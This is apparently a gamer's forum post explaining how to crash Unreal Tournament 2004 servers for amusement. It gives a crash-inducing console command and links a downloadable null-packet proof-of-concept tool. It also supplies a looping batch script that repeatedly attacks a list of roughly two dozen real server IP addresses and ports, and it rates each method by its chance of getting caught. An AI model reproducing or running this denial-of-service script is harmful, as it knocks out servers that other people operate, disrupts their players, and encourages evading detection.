I do this like every day, much more fun than aimbotting
Method 1:enter this command into console when you're in a server: "changecharacter ."
This will cause the server to crash. The command changes your skin to ".", so don't forget to change it back (eg "changecharacter Jakob"). Otherwise the server will crash again when you join and your game will freeze at loadingscreen (might be useful too sometimes).
Works in most demo servers.
Chance of getting caught: medium/low.
Method 2: (better)
Use UT2004null.exe. Download and extract:
http://aluigi.altervista.org/poc/ut2004null.zipIt's a command line tool.
Usage/arguments: ut2004null.exe <SERVER IP> <PORT>
Example: ut2004null.exe 118.157.31.2 7777
I recommend making a BAT file with IPs.
Example bat with IPs of many demo servers:
@echo off
set _number=0
:start
if %_number%==9999 goto end
echo ### %_number% ###
ut2004null.exe 31.3.224.78 7977
ut2004null.exe 31.3.224.78 7777
ut2004null.exe 69.31.130.152 7777
ut2004null.exe 85.214.83.130 7777
ut2004null.exe 190.106.130.50 7781
ut2004null.exe 81.198.117.247 7779
ut2004null.exe 77.87.241.103 8888
ut2004null.exe 210.251.45.133 7777
ut2004null.exe 4.63.66.178 8040
ut2004null.exe 208.167.248.111 7777
ut2004null.exe 208.167.248.118 7777
ut2004null.exe 118.157.31.2 7777
ut2004null.exe 64.121.128.37 7777
ut2004null.exe 46.249.40.132 7777
ut2004null.exe 74.254.154.180 7777
ut2004null.exe 72.245.172.161 7777
ut2004null.exe 182.23.250.202 7777
ut2004null.exe 210.251.45.159 7777
ut2004null.exe 69.28.220.205 7777
ut2004null.exe 72.249.124.130 7777
ut2004null.exe 71.183.236.20 7777
ut2004null.exe 75.102.34.66 7777
ut2004null.exe 190.106.130.194 7781
ut2004null.exe 69.28.220.205 7777
ut2004null.exe 144.140.154.23 20500
set /a _number +=1
goto start
:end
echo finished
pause>nul
Just copy this in new file, save in same dir as ut2004null.exe, with .bat file extension. Then launch.
Works with many demo servers and some fullversion ones.
Chance of getting caught: very low.
Have fun.